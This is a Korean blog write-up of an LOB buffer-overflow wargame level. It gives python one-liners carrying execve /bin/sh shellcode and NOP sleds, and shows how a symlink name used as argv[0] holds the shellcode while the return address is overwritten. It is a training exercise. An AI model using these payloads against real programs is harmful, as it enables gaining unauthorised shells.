System/LOB

[LOB_10]vampire

dcho 2019. 9. 24. 11:04
SMALL

vampire // music world

 

argc saver가 추가 되었다. 

인자 갯수를 saved_argc에 저장해 놓고 memset으로 초기화 시켜버린다.

파일이름명, 인자들 모두 막힌 상태이다. 

./skeleton `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

혹시나 해서 간단하게 argv[1], argv[2] 를 넣어보았지만 memset으로 모두 초기화 되었다.

argv[1], argv[2] 가 모두 초기화 되었기에 남은 방법인 argv[0] 심볼링링크를 이용해 보았다.

ln -s skeleton `python -c 'print "A"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

스택세그먼트 거의 최하단쪽에 심볼릭링크파일 이름이 존재하고 거기에 쉘코드가 있었다. 

./AAAAAAAAAAꝑ^1ɱ2l^Nÿ^A蝁u󪝅髿ÿÿ2i00tii0cjo㐔⚱^L΁ `python -c 'print "A"*44+"\xcb\xff\xff\xbf"'`

원본파일에도 다음과 같이 해봤지만 세폴트가 떴다.. 

ln -s skeleton `python -c 'print "A"*10+"\x90"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*10'`

스택세그먼트 거의 최하단쪽에 있어서 안되나 싶어서 앞뒤에 NOP값을 넣어주고 다시 만들어 봤다. 

./심볼링링크파일 `python -c 'print "\x90"*44+"\xc0\xff\xff\xbf"'`

또 세그먼트 폴트가 떠서 코어 파일을 분석을 해보았다. 

쉘코드 중간에 \x80 부분에서 오류가 뜨는것을 확인했다. 

스택세그먼트 최하단에 있다. 이 부분에는 일정부분이 main함수가 끝나는 순간 값이 바뀐다. 

그래서 쉘코드 마지막 부분에 NOP*10 이 아닌 *100으로 변경해주었다.

ln -s skeleton `python -c 'print "A"*10+"\x90"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'`

쉘코드 시작 주소 : \x67\xff\xff\xbf (little endian)

./심볼링링크파일 `python -c 'print "\x90"*44+"\x67\xff\xff\xbf"'`

클리어!!

 

 

 

'System > LOB' 카테고리의 다른 글

[LOB_12]golem  (0) 2019.09.24
[LOB_11]skeleton  (0) 2019.09.24
[LOB_9]troll  (0) 2019.09.24
[LOB_8]orge  (0) 2019.09.24
[LOB_7]darkelf  (0) 2019.09.24